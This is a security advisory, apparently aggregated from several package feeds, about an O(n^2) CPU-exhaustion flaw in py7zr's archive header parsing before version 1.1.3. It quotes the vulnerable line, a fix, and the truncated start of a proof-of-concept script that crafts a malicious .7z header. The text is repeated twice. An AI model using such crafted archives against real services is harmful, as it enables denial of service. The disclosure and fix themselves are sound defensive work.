Affected: Homebrew: aqtinstall

### Summary

PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.__init__() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time.

### Details

The vulnerable code is in PackInfo._read() (archiveinfo.py):

self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)]

numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.__init__(), before any extraction.

Suggested fix — replace with O(n) cumulative sum:

from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes)) ### PoC ``` import struct, io, binascii, time import py7zr from py7zr.archiveinfo import write_uint64, PROPERTY

MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c'

def encode_uint64(v): buf = io.BytesIO() write_uint64(buf, v) return buf.getvalue()

def build_7z_with_streams(numstreams): header = io.BytesIO() header.write(PROPERTY.HEADER) header.write(PROPERTY.MAIN_STREAMS_INFO) header.write(PROPERTY.PACK_INFO) header.write(encode_uint64(0)) header.write(encode_uint64(numstreams)) header.write(PROPERTY.SIZE) for _ in range…

Affected: miurahr py7zr

py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, PackInfo._read() in archiveinfo.py used an O(n^2) cumulative sum pattern for attacker-controlled numstreams values parsed from archive headers, allowing a crafted .7z archive to cause excessive CPU consumption during SevenZipFile.init() before extraction. This issue is fixed in version 1.1.3.

Affected: PyPI: py7zr

### Summary

PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.__init__() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time.

### Details

The vulnerable code is in PackInfo._read() (archiveinfo.py):

self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)]

numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.__init__(), before any extraction.

Suggested fix — replace with O(n) cumulative sum:

from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes)) ### PoC ``` import struct, io, binascii, time import py7zr from py7zr.archiveinfo import write_uint64, PROPERTY

MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c'

def encode_uint64(v): buf = io.BytesIO() write_uint64(buf, v) return buf.getvalue()

def build_7z_with_streams(numstreams): header = io.BytesIO() header.write(PROPERTY.HEADER) header.write(PROPERTY.MAIN_STREAMS_INFO) header.write(PROPERTY.PACK_INFO) header.write(encode_uint64(0)) header.write(encode_uint64(numstreams)) header.write(PROPERTY.SIZE) for _ in range…